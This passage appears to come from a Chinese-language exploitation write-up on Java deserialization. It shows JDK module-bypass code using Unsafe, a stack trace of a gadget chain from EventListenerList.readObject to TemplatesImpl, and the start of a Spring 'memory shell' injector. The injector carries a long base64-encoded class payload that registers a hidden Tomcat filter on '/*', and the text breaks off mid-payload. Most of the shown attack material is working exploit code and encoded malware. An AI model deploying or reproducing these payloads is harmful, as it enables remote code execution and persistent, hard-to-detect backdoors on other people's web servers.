            Unsafe unsafe = getUnsafe();
            Module javaBaseModule = Object.class.getModule();
            long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
            unsafe.putObject(clazz, offset, javaBaseModule);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
//--add-opens=java.base/sun.nio.ch=ALL-UNNAMED --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-opens=jdk.unsupported/sun.misc=ALL-UNNAMED --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.base/java.lang.reflect=ALL-UNNAMED

img

调用栈

at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties(TemplatesImpl.java:608)
at jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1)
at jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:77)
at jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:568)
at org.springframework.aop.aspectj.AbstractAspectJAdvice.invokeAdviceMethodWithGivenArgs(AbstractAspectJAdvice.java:637)
at org.springframework.aop.aspectj.AbstractAspectJAdvice.invokeAdviceMethod(AbstractAspectJAdvice.java:627)
at org.springframework.aop.aspectj.AspectJAroundAdvice.invoke(AspectJAroundAdvice.java:71)
at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:184)
at org.springframework.aop.framework.JdkDynamicAopProxy.invoke(JdkDynamicAopProxy.java:220)
at jdk.proxy1.$Proxy0.toString(Unknown Source:-1)
at java.lang.String.valueOf(String.java:4222)
at java.lang.StringBuilder.append(StringBuilder.java:173)
at java.util.AbstractCollection.toString(AbstractCollection.java:457)
at java.util.Vector.toString(Vector.java:1083)
at java.lang.StringConcatHelper.stringOf(StringConcatHelper.java:453)
at java.lang.invoke.DirectMethodHandle$Holder.invokeStatic(DirectMethodHandle$Holder:-1)
at java.lang.invoke.LambdaForm$MH/0x0000019eb50a4400.invoke(LambdaForm$MH:-1)
at java.lang.invoke.LambdaForm$MH/0x0000019eb50a4c00.linkToTargetMethod(LambdaForm$MH:-1)
at javax.swing.undo.CompoundEdit.toString(CompoundEdit.java:266)
at javax.swing.undo.UndoManager.toString(UndoManager.java:695)
at java.lang.StringConcatHelper.stringOf(StringConcatHelper.java:453)
at java.lang.invoke.DirectMethodHandle$Holder.invokeStatic(DirectMethodHandle$Holder:-1)
at java.lang.invoke.LambdaForm$MH/0x0000019eb509ec00.invoke(LambdaForm$MH:-1)
at java.lang.invoke.Invokers$Holder.linkToTargetMethod(Invokers$Holder:-1)
at javax.swing.event.EventListenerList.add(EventListenerList.java:213)
at javax.swing.event.EventListenerList.readObject(EventListenerList.java:309)
at jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1)
at jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:77)
at jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:568)
at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1104)
at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2434)
at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2268)
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1744)
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:514)
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:472)
at org.example.Poc.main(Poc.java:89)

远程不出网,用 Java-chains 生成一个 tomcat 内存马

img

写一个 Spring 环境内存马注入器,注意绕过高版本机制

package org.example;

import javassist.ClassPool;
import javassist.CtClass;
import sun.misc.Unsafe;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Base64;

public class springMemshell {
//    String className = "org.apache.beanutils.coyote.MapperFeature864b3ae3a6494fe0a00288bdf37e46cb";
//    String base64Payload = "yv66vgAAADIBhAEASW9yZy9hcGFjaGUvYmVhbnV0aWxzL2NveW90ZS9NYXBwZXJGZWF0dXJlODY0YjNhZTNhNjQ5NGZlMGEwMDI4OGJkZjM3ZTQ2Y2IHAAEBABBqYXZhL2xhbmcvT2JqZWN0BwADAQANZ2V0VXJsUGF0dGVybgEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQACLyoIAAcBAAxnZXRDbGFzc05hbWUBAFtvcmcuYXBhY2hlLmJlYW51dGlscy5jb3lvdGUuaW50cm9zcGVjdC5Bbm5vdGF0ZWRDb25zdHJ1Y3RvcmQ2N2VlNTA0MGZmNjQyNTFiYzA5MDY5YmNhZTk2MjdmCAAKAQAPZ2V0QmFzZTY0U3RyaW5nAQATamF2YS9pby9JT0V4Y2VwdGlvbgcADQEAEGphdmEvbGFuZy9TdHJpbmcHAA8BCpBINHNJQUFBQUFBQUFBTFZYQ1hjVDF4WCtuaVY3WkZtRUlJS3hnQVFuS1dCWnRtV01GeXdURXN1WTRNUTJLYUttanBPMkkybGt5UWlOMEl3SW9rdmFkRW02cDAyM2ROOUpkOUlHR1FjQ2RBc05UWnR1N3I5SlQ3ODNJOG0yTEJ2TzZlazUxc3k4OSs3NzdyM2ZYZDd6emYrOGVoWEFYdnhiWUViUHpRYlZyQnBMYXNHb3BtYnlaaXB0QkdONlFUZTFZQ3BqNW5RanE4WE00SEFtbzV1cXFjVkg5SXhoNXZJeFU4L0Yrd2MwcmErN3R6dVI2Ty90NmRzYmpYVVBkdmNQUm1PcU50amZNNUJRSUFTMnpLbG4xR0JhemN3R1I5S3FZWXpyYWx6TEtYQUkzQ1dYemdZTkxYY21yWm5CdzZtMEtWZnFCY1FzTjdiTmhQM2pWYnVIQkp3amVsd1QyRGlleW1pVCtWTlJMWGRjamFZNTR4M1hZMnA2U3MybDVMZzA2VFNUS1VQZ3lmSC9vNTgwU2tRRjZtYkNBazF4TFVIRExHTUZ0dEtIc2JIVlhuaHdKemE1NFlSWG9PRkFLcE15RHdvNDJ2eFRIdHlGTFhLaFdXQmJXL1UrbTdzaC94UVZ4b2kreHJvRWFaRWcyd1ZjY2QzbWxhRzI4WllJajlqdlk5cnB2R2FZUTJ1dEdsbFNvVlV2MjZnalNUV1ZzUXphdkdUTDZObVlsalZUZWtiQlRnSEYwQXlEQTRIV0tvaWthV2FEUi9pSTJCTGswYUZINTJSc0xUQVpvK0NFbXVYOGx0TFdXSzZRTmZYZ1NDcWJwS09rUVN1dlZhbm0yaDNHQ3Y4RTdsbmZmK28xVnZvc3NQTVdwRERnaVNVaUJMYXZ3eEtweUpWTjJiTTJGVlUydVhJVlk2cmp0M3BUeGFwZHR3V3ZvRWRnOSsyQkt1Z1YyQkF4MWRoSmhxUlVYZTZrSmpOdVVqMWwxZDlTSENKbUxwV1paU1lPWUg4ajZqQW8wRGlybVVjc2NlcHNXeTNycjdWOUNBZWFzQThQa0dkYjFaU2F6bXNlUEdqRFBpUndaL1V1QlN4RFYwelBtQ1NkTmJoOVJSa2wxVnhFT3ArSmFVUCt4ejA0aEZFM1JuQ1l2dEMrU0RsVjcydnozeXBaUFRpQ01XbmNJd0tibHZMMWlHb2tTWkNDY1RjbTBPeENGMmxia2M0S0htT2laL05NZy8zTGJUc2FuV01IR2xvOTQxODk1Y0V4Ukpyd1RoeDNvZHVGZTFrSmVSZmV6WDZYWlIvdzRIR2JueGttL2ZwdUtIaVNiTkVZaTFnbVpvM0kxTENJamVxOWVGOFQzZ09Wdmd5UFJseUlsWHBBVlpFcUlHb1R1UjFqUDFWSnU0Qi96ZWhYRjdnSHMwaTZrVUNLcGJoQ1FIWnJWbU1zcDVtUGFvVUlSd3BPMGhNcUNoZE1qWEYzdHZsbndoNmNRa1lHV0xlYmNRM0ZWczg5N1VZYVRFeW43TVZTZE15V05MUllQcGN5QzBFcXNVUk41S1U5WjFZa25zMktnck8yQWFYbXY3bXRWdU0vaC9lN1VjQUgyRzJxRmhWOGlFMnJ2Ti91NVFLKzFTaVZOdjloZk1TTnAvR01tNkZtcjkreFhudFQ4SEc3Qm8rVmFuQmJHVGlsQjhQNVJFTExhWEY3amNqUDRya21mQUtmRkdpdUxhUGcwMVp2VXVQeUhPWlozbGF6ZmorTHo3bnhHWHllanNYMXNHcG8vYjJIdEpoMWdEZlh5Z0lac1MvZ2k5S2hGOWd2NWVHVlVkTThKT1ZsUUM1K0dWK1IvSC9WQXdVdUtmWWlzeXVqUGJXVVhTc3RxZFRMTi9CTnlkVzNpRVZDMUxRaGJ4ZzFNcHM5NFR2NHJnelI5MGorbXQxY3dROEVIdnJmVGxTWlQzZmpSMDM0SVg3TS9sTTV1NHp5YVVyV3g0NHVPMDEvc3FxY1M1RExaSDRtVUI5THErZk9zU3ZWdUQwcGNZdiszTXAyWFhLZStYOUd6Zld4b25uMVlZU01mS2JyVk1xSWRZV0hJNlBseU9WYytBMXhFbnFwN2UrNlJTOHZKLzVGRkdVQTVnVTh0ZzEyUXJtd1lPZmxoR1ltOVhpRjFCVjRNNnZ3bG12SWFZbTB2THZaQ0ZSMUdWZWtxdGNFV3RhU1VuQ05tWkRLbk5GUDBvZkJHcGt3YzV1TitMZjRuUnZYOFhzRkcwdE5vVXQyK2k0NzIxMTQzVDVhS3VUOWlYcHRBbHk0eWJaV25VT2xKTk16aWRTc2RiUHlKSmJOc01yWGs3Y0N6T0RwQmRxaVJkV0IvcjdvM29GK2JhL2FuMUJkK0J0MUQ4ZGtycmp3RHhaTy9wQTVOUmM5Zm5MczhERVgvb1Y3V1U5T1VBWU9Qbm1HOEw4RUlZOXc2LzJnOWVhbFhwWWVuNDBjUFVENU9yNGIyd09Pd05WNWJMN0FRUjNjZkRaUUJHeXRUWHcyMjBMd1lBTmdmZDJCalZ3WDhycGJnaHExbEFKYjIrZjU4Lzc5SXA1bzkvN3pJa0x0M3NXTEdINjVBdXkyd0xZU3RNVUM5OWpiU3VBU3NxVUUrVmpKdXBiMndEeDIzQnB6TzFGMkxETzRwV0p3QzN6WVpobDhOKzdoR3RIRkZib290U3dHcm1OZnlObHhIWDJoZXArei9SV0VGbkN3RHEvanBXVWpmZ3dYOGZDTGVFR0tMK0JSZ1ZERFpVeE16Mk15cFBnVTc5SEFBdDdsd0FsK1R2bnFLOThuZkEybDd3YnZORUdlV0VEVUFXLzhFdVpDTHArci9qTFMxblFSV1c5OEhrWVJUMTFHM1hSN0VSOHM0cVB6K0pqUDFVN2tUd2tVOFh3Ulh5cmlhMFY4dllodis1UWl2bi9pUEpvNkF4MExPTy9BZVd3SU5aUUhMOU5WRDI3Z0psb1pGMG5SSS9EeXVaTk90M0xsZmdUeERvU3dpMmZyYmt4aUQ5T2xqWTI1SFFZQ1BPUTY4RHc2Y1FWZHVFYkpHN3dtM2VRL25HK2loMm5XYTFHY0lHb0l6ekRwN2lQbUNCdnUvVVJVdURkTXNuY3h4ZDdrYnplUkd5VEpsVkFzVW8vZkN2a2l0UVdzUUMxU1h5ZnRiTUJiMUJoazJEMTRBOTNVV0k5K3JtK0M4MjFjVTdCUFFaOFNWdERhaUplc0ZLM0RUL0Z6Z3ZITXNhT0t0emxiejNmQis4b2xYSnJvOEw3cWZBMVBUenU4STVFaXJuYVFPSTRMMDQ0QWgzKzRqajlXL2k1TWVHOXd4MlNuOXcwSGQxQlk4RjJnVk1qcGN6SWMzajh2Ui9JNTE4S3hmSk8ybDVuZlpqR3duODlCem9iSTRSQkhCekRPOHBOTUh1UktBNW40Qlg1SkovWmoyUHB5Y0wwVHY4SUZzdEdEaHhuUlBSWlhoUXFUQmZ5YTBzSmlpTlY2bXJ4WXRNZ1cwTXFmeVFqWXBQUlpoY0tjWDZvWXU3ekR5NnBGVklBRi9vSy84bGtHa3d5L1ZTbjBnQ1ZSQTJ4MFdUbFh3UDRMdjhrR3k2MFFBQUE9CAARAQAGPGluaXQ+AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWDAATABQKABAAFQEAAygpVgEAE2phdmEvbGFuZy9FeGNlcHRpb24HABgMABMAFwoABAAaAQAPYnlwYXNzSkRLTW9kdWxlDAAcABcKAAIAHQEACmdldENvbnRleHQBABIoKUxqYXZhL3V0aWwvTGlzdDsMAB8AIAoAAgAhAQAOamF2YS91dGlsL0xpc3QHACMBAAhpdGVyYXRvcgEAFigpTGphdmEvdXRpbC9JdGVyYXRvcjsMACUAJgsAJAAnAQASamF2YS91dGlsL0l0ZXJhdG9yBwApAQAHaGFzTmV4dAEAAygpWgwAKwAsCwAqAC0BAARuZXh0AQAUKClMamF2YS9sYW5nL09iamVjdDsMAC8AMAsAKgAxAQAJZ2V0RmlsdGVyAQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsMADMANAoAAgA1AQAJYWRkRmlsdGVyAQAnKExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvT2JqZWN0OylWDAA3ADgKAAIAOQEAJigpTGphdmEvdXRpbC9MaXN0PExqYXZhL2xhbmcvT2JqZWN0Oz47AQAgamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb24HADwBAB9qYXZhL2xhbmcvTm9TdWNoTWV0aG9kRXhjZXB0aW9uBwA+AQAramF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvblRhcmdldEV4Y2VwdGlvbgcAQAEAE2phdmEvdXRpbC9BcnJheUxpc3QHAEIKAEMAGgEAEGphdmEvbGFuZy9UaHJlYWQHAEUBAApnZXRUaHJlYWRzCABHAQAMaW52b2tlTWV0aG9kAQA4KExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL09iamVjdDsMAEkASgoAAgBLAQATW0xqYXZhL2xhbmcvVGhyZWFkOwcATQEAB2dldE5hbWUMAE8ABgoARgBQAQAcQ29udGFpbmVyQmFja2dyb3VuZFByb2Nlc3NvcggAUgEACGNvbnRhaW5zAQAbKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylaDABUAFUKABAAVgEABnRhcmdldAgAWAEABWdldEZWDABaAEoKAAIAWwEABnRoaXMkMAgAXQEACGNoaWxkcmVuCABfAQARamF2YS91dGlsL0hhc2hNYXAHAGEBAAZrZXlTZXQBABEoKUxqYXZhL3V0aWwvU2V0OwwAYwBkCgBiAGUBAA1qYXZhL3V0aWwvU2V0BwBnCwBoACcBAANnZXQMAGoANAoAYgBrAQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7DABtAG4KAAQAbwEAD2phdmEvbGFuZy9DbGFzcwcAcQoAcgBQAQAPU3RhbmRhcmRDb250ZXh0CAB0AQADYWRkAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaDAB2AHcLACQAeAEAFVRvbWNhdEVtYmVkZGVkQ29udGV4dAgAegEAFWdldENvbnRleHRDbGFzc0xvYWRlcgEAGSgpTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsMAHwAfQoARgB+AQAIdG9TdHJpbmcMAIAABgoAcgCBAQAZUGFyYWxsZWxXZWJhcHBDbGFzc0xvYWRlcggAgwEAH1RvbWNhdEVtYmVkZGVkV2ViYXBwQ2xhc3NMb2FkZXIIAIUBAAlyZXNvdXJjZXMIAIcBAAdjb250ZXh0CACJAQAaamF2YS9sYW5nL1J1bnRpbWVFeGNlcHRpb24HAIsBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYMABMAjQoAjACOAQATamF2YS9sYW5nL1Rocm93YWJsZQcAkAEADWN1cnJlbnRUaHJlYWQBABQoKUxqYXZhL2xhbmcvVGhyZWFkOwwAkgCTCgBGAJQBAA5nZXRDbGFzc0xvYWRlcgwAlgB9CgByAJcMAAkABgoAAgCZAQAVamF2YS9sYW5nL0NsYXNzTG9hZGVyBwCbAQAJbG9hZENsYXNzAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwwAnQCeCgCcAJ8MAAwABgoAAgChAQAMZGVjb2RlQmFzZTY0AQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgwAowCkCgACAKUBAA5nemlwRGVjb21wcmVzcwEABihbQilbQgwApwCoCgACAKkBAAtkZWZpbmVDbGFzcwgAqwEAAltCBwCtAQARamF2YS9sYW5nL0ludGVnZXIHAK8BAARUWVBFAQARTGphdmEvbGFuZy9DbGFzczsMALEAsgkAsACzAQARZ2V0RGVjbGFyZWRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7DAC1ALYKAHIAtwEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAcAuQEADXNldEFjY2Vzc2libGUBAAQoWilWDAC7ALwKALoAvQEAB3ZhbHVlT2YBABYoSSlMamF2YS9sYW5nL0ludGVnZXI7DAC/AMAKALAAwQEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwwAwwDECgC6AMUBAAtuZXdJbnN0YW5jZQwAxwAwCgByAMgBAA1nZXRGaWx0ZXJOYW1lAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAAEuCADMAQALbGFzdEluZGV4T2YBABUoTGphdmEvbGFuZy9TdHJpbmc7KUkMAM4AzwoAEADQAQAJc3Vic3RyaW5nAQAVKEkpTGphdmEvbGFuZy9TdHJpbmc7DADSANMKABAA1AEAIGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uBwDWAQAgamF2YS9sYW5nL0luc3RhbnRpYXRpb25FeGNlcHRpb24HANgBABFnZXRDYXRhbGluYUxvYWRlcgwA2gB9CgACANsMAMoAywoAAgDdAQANZmluZEZpbHRlckRlZggA3wEAXShMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzcztbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwwASQDhCgACAOIBAC9vcmcuYXBhY2hlLnRvbWNhdC51dGlsLmRlc2NyaXB0b3Iud2ViLkZpbHRlckRlZggA5AEAB2Zvck5hbWUMAOYAngoAcgDnAQAvb3JnLmFwYWNoZS50b21jYXQudXRpbC5kZXNjcmlwdG9yLndlYi5GaWx0ZXJNYXAIAOkBACRvcmcuYXBhY2hlLmNhdGFsaW5hLmRlcGxveS5GaWx0ZXJEZWYIAOsBACRvcmcuYXBhY2hlLmNhdGFsaW5hLmRlcGxveS5GaWx0ZXJNYXAIAO0BAD0oTGphdmEvbGFuZy9TdHJpbmc7WkxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7KUxqYXZhL2xhbmcvQ2xhc3M7DADmAO8KAHIA8AEADXNldEZpbHRlck5hbWUIAPIBAA5zZXRGaWx0ZXJDbGFzcwgA9AEADGFkZEZpbHRlckRlZggA9gEADXNldERpc3BhdGNoZXIIAPgBAAdSRVFVRVNUCAD6AQANYWRkVVJMUGF0dGVybggA/AwABQAGCgACAP4BADBvcmcuYXBhY2hlLmNhdGFsaW5hLmNvcmUuQXBwbGljYXRpb25GaWx0ZXJDb25maWcIAQABABdnZXREZWNsYXJlZENvbnN0cnVjdG9ycwEAIigpW0xqYXZhL2xhbmcvcmVmbGVjdC9Db25zdHJ1Y3RvcjsMAQIBAwoAcgEEAQANc2V0VVJMUGF0dGVybggBBgEAEmFkZEZpbHRlck1hcEJlZm9yZQgBCAEADGFkZEZpbHRlck1hcAgBCgEAHWphdmEvbGFuZy9yZWZsZWN0L0NvbnN0cnVjdG9yBwEMCgENAL0BACcoW0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsMAMcBDwoBDQEQAQANZmlsdGVyQ29uZmlncwgBEgEADWphdmEvdXRpbC9NYXAHARQBAANwdXQBADgoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwwBFgEXCwEVARgBAA9wcmludFN0YWNrVHJhY2UMARoAFwoAGQEbAQAgW0xqYXZhL2xhbmcvcmVmbGVjdC9Db25zdHJ1Y3RvcjsHAR0BABZzdW4ubWlzYy5CQVNFNjREZWNvZGVyCAEfAQAMZGVjb2RlQnVmZmVyCAEhAQAJZ2V0TWV0aG9kDAEjALYKAHIBJAEAEGphdmEudXRpbC5CYXNlNjQIASYBAApnZXREZWNvZGVyCAEoAQAGZGVjb2RlCAEqAQAdamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW0HASwKAS0AGgEAHGphdmEvaW8vQnl0ZUFycmF5SW5wdXRTdHJlYW0HAS8BAAUoW0IpVgwAEwExCgEwATIBAB1qYXZhL3V0aWwvemlwL0daSVBJbnB1dFN0cmVhbQcBNAEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgwAEwE2CgE1ATcBAARyZWFkAQAFKFtCKUkMATkBOgoBNQE7AQAFd3JpdGUBAAcoW0JJSSlWDAE9AT4KAS0BPwEAC3RvQnl0ZUFycmF5AQAEKClbQgwBQQFCCgEtAUMBAARnZXRGAQA/KExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7DAFFAUYKAAIBRwEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkBwFJCgFKAL0KAUoAawEAHmphdmEvbGFuZy9Ob1N1Y2hGaWVsZEV4Y2VwdGlvbgcBTQEAEGdldERlY2xhcmVkRmllbGQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsMAU8BUAoAcgFRAQANZ2V0U3VwZXJjbGFzcwwBUwBuCgByAVQKAU4AFQEAEmdldERlY2xhcmVkTWV0aG9kcwEAHSgpW0xqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7DAFXAVgKAHIBWQoAugBQAQAGZXF1YWxzDAFcAHcKABABXQEAEWdldFBhcmFtZXRlclR5cGVzAQAUKClbTGphdmEvbGFuZy9D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